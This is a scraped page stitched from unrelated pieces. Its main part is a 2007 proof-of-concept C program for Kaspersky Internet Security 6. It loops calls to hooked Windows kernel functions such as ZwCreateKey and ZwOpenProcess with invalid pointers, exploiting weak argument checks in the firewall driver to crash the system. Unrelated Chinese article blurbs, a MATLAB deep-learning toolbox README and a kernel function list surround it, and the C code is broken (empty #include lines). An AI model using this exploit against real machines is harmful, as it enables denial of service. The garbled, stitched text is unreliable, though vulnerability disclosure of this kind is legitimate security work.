Vuln: Kaspersky Internet Security 6 SSDT Hooks Multiple Local Vulnerabilities

别再乱改grub.cfg了!手把手教你用GRUB2自定义多系统启动菜单(含UEFI/BIOS双模式配置) 本文详细介绍了如何安全、高效地使用GRUB2自定义多系统启动菜单,涵盖UEFI/BIOS双模式配置。通过避免直接编辑grub.cfg文件,采用正确的配置方法和命令,帮助用户打造稳定且美观的启动环境,特别适合Linux多系统用户和开发者。 阅读详情
/*

Testing program for Multiple insufficient argument validation of hooked SSDT function (BTP00000P006KA)


Usage:
prog FUNCNAME
FUNCNAME - name of function to be checked

Description:
This program calls given function with parameters that crash the system. This happens because of
insufficient validation of function arguments in the driver of the firewall.

Test:
Running the testing program with the name of a function from the list of affected functions.

*/

#undef __STRICT_ANSI__
#include
#include
#include
#include
#include

typedef NTSTATUS NTAPI (*ZW_CREATE_PROCESS_EX)(OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN HANDLE InheritFromProcessHandle,IN BOOLEAN InheritHandles,IN HANDLE SectionHandle OPTIONAL,IN HANDLE DebugPort OPTIONAL,IN HANDLE ExceptionPort OPTIONAL,IN ULONG Unknown);


void about(void)
{
printf("Testing program for Multiple insufficient argument validation of hooked SSDT function (BTP00000P006KA)/n");
printf("Windows Personal Firewall analysis project/n");
printf("Copyright 2007 by Matousec - Transparent security/n");
printf("http://www.matousec.com/""/n/n");
return;
}

void usage(void)
{
printf("Usage: test FUNCNAME/n"
" FUNCNAME - name of function to be checked/n");
return;
}

int main(int argc,char **argv)
{
about();

if (argc!=2)
{
usage();
return 1;
}

if (!stricmp(argv[1],"NtCreateKey") || !stricmp(argv[1],"ZwCreateKey"))
{
HANDLE handle;

for (int i=0;i>=0;i++)
ZwCreateKey(&handle,KEY_ALL_ACCESS,(PVOID)(0x80000000+i),0,NULL,0,NULL);

} else if (!stricmp(argv[1],"NtCreateProcess") || !stricmp(argv[1],"ZwCreateProcess"))
{
OBJECT_ATTRIBUTES oa;
for (int i=0;i>=0;i++)
ZwCreateProcess((PHANDLE)(i+0x80000000),PROCESS_ALL_ACCESS,&oa,NULL,FALSE,NULL,NULL,NULL);
} else if (!stricmp(argv[1],"NtCreateProcessEx") || !stricmp(argv[1],"ZwCreateProcessEx"))
{
ZW_CREATE_PROCESS_EX ZwCreateProcessEx=(ZW_CREATE_PROCESS_EX)GetProcAddress(GetModuleHandle("ntdll.dll"),"ZwCreateProcessEx");
if (ZwCreateProcessEx)
{
OBJECT_ATTRIBUTES oa;
for (int i=0;i>=0;i++)
ZwCreateProcessEx((PHANDLE)(i+0x80000000),PROCESS_ALL_ACCESS,&oa,NULL,FALSE,NULL,NULL,NULL,0);
}
} else if (!stricmp(argv[1],"NtCreateSection") || !stricmp(argv[1],"ZwCreateSection"))
{
HANDLE handle;
for (int i=0;i>=0;i++)
{
POBJECT_ATTRIBUTES oa=(PVOID)(i+0x80000000);
ZwCreateSection(&handle,0,oa,NULL,0,0,NULL);
}
} else if (!stricmp(argv[1],"NtCreateSymbolicLinkObject") || !stricmp(argv[1],"ZwCreateSymbolicLinkObject"))
{
HANDLE handle;
OBJECT_ATTRIBUTES oa;
for (int i=0;i>=0;i++)
{
UNICODE_STRING us={0x1000,0x1000,(PWSTR)(i+0x80000000)};
InitializeObjectAttributes(&oa,&us,0,NULL,NULL);
ZwCreateSymbolicLinkObject(&handle,SYMBOLIC_LINK_ALL_ACCESS,&oa,&us);
}
} else if (!stricmp(argv[1],"NtCreateThread") || !stricmp(argv[1],"ZwCreateThread"))
{
HANDLE handle;
CLIENT_ID clid;
OBJECT_ATTRIBUTES oa;
USER_STACK us;
for (int i=0;i>=0;i++)
ZwCreateThread(&handle,THREAD_ALL_ACCESS,&oa,(HANDLE)i,&clid,(PCONTEXT)(i+0x80000000),&us,FALSE);
} else if (!stricmp(argv[1],"NtLoadKey2") || !stricmp(argv[1],"ZwLoadKey2"))
{
OBJECT_ATTRIBUTES oa2;

for (int i=0;i>=0;i++)
{
POBJECT_ATTRIBUTES oa=(PVOID)(i+0x80000000);
ZwLoadKey2(oa,&oa2,REG_NO_LAZY_FLUSH);
}
} else if (!stricmp(argv[1],"NtOpenKey") || !stricmp(argv[1],"ZwOpenKey"))
{
HANDLE handle;
for (int i=0;i>=0;i++)
{
POBJECT_ATTRIBUTES oa=(PVOID)(i+0x80000000);
ZwOpenKey(&handle,KEY_ALL_ACCESS,oa);
}
} else if (!stricmp(argv[1],"NtOpenProcess") || !stricmp(argv[1],"ZwOpenProcess"))
{
HANDLE handle;
OBJECT_ATTRIBUTES oa;
UNICODE_STRING us={0x1000,0x1000,NULL};
InitializeObjectAttributes(&oa,&us,0,NULL,NULL);
for (int i=0;i>=0;i++)
{
PCLIENT_ID clid=(PVOID)(i+0x80000000);
ZwOpenProcess(&handle,PROCESS_ALL_ACCESS,&oa,clid);
}
} else printf("/nI do not know how to exploit the vulnerability using this function./n");

printf("/nTEST FAILED!/n");
return 1;
}
 
AI绘画与医疗可视化:用AI生成医学插图的实践 医疗可视化是医学教育、临床沟通和学术研究的核心工具。传统医学插图依赖手工绘制或专业3D建模,存在制作周期长、成本高、更新迭代慢等问题。随着深度学习技术的发展,AI绘画工具(如Stable Diffusion、DALL-E)展现出强大的图像生成能力,但医疗领域对插图的解剖准确性、标注规范性和语义完整性有极高要求,通用AI模型难以直接应用。本文聚焦AI技术与医疗领域的交叉创新,系统阐述如何通过数据预处理、模型定制化训练和后处理校验,构建符合医疗标准的插图生成系统。 阅读详情

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B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

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using Microsoft.Win32; using Microsoft.Win32.SafeHandles; using System; using System.Diagnostics; using System.IO; using System.Reflection; using System.Runtime.InteropServices; using System.Text; usi

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Nt内核函数大全

Nt内核函数大全 NtLoadDriver 服务控制管理器加载设备驱动. NtUnloadDriver 服务控制管理器支持卸载指定的驱动程序. NtRegisterNewDevice 加载新驱动文件. NtQueryIntervalProfile 返回数据. NtSetIntervalProfile 指定采样间隔. NtStartProfile 开始取样. NtStopProfile 停止采样...

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